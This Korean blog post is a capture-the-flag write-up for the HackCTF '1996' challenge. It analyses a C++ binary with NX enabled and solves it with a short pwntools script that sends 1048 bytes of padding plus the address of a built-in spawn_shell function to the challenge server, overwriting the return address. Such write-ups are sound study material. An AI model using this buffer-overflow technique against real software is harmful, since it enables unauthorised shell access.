블로그 이전했습니다. https://jeongzero.oopy.io/
[HackCTF] 1996
본문 바로가기
워게임/HackCTF

[HackCTF] 1996

728x90

[HackCTF] 1996

Date
Tags report

 

1. 문제

 

NX 비트가 걸려있다

 

프로그램을 실행하면 다음과 같이 나온다. 어떠한 환경 변수를 읽고 싶은지 묻고 입력을 하면 입력한 값을 출력해주고 끝나게 된다

 

 

코드를 보면 C++ 코드로 구성된것을 알 수 있다.

 

코드만 보면 v3을 v4에 넣고 v7, v8 이걸 v9에 넣고,,, 복잡하다.

 

 

그리고 shell을 실행시키는 함수가 내장되어 있으므로 이를 이용해서 푸는 문제인 것 같다

 

 

2. 접근방법

 

복잡할 것 같지만 다 훼이크이고 std cin을 이용해 name 변수를 통한 bof로 문제를 풀면 끝날 것 같다

name 부터 ret 까지 1048 크기이니 1048+ spawn_shell 주소 이렇게 주면 된다

 

3. 풀이

 

최종 익스 코드는 다음과 같다

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3013)

p.recvuntil("Which environment variable do you want to read?")

payload = "A"*1048
payload += p64(0x0000000000400897)

p.sendline(payload)
p.interactive()

 

 

4. 몰랐던 개념

 

쫄지말자

 

728x90

'워게임 > HackCTF' 카테고리의 다른 글

[HackCTF] g++  (0) 2020.04.11
[HackCTF] BOF PIE  (0) 2020.04.11
[HackCTF] Basic FSB  (0) 2020.04.11
[HackCTF] Baisc BOF 2  (0) 2020.04.11
[HackCTF] Basic BOF 1  (0) 2020.04.11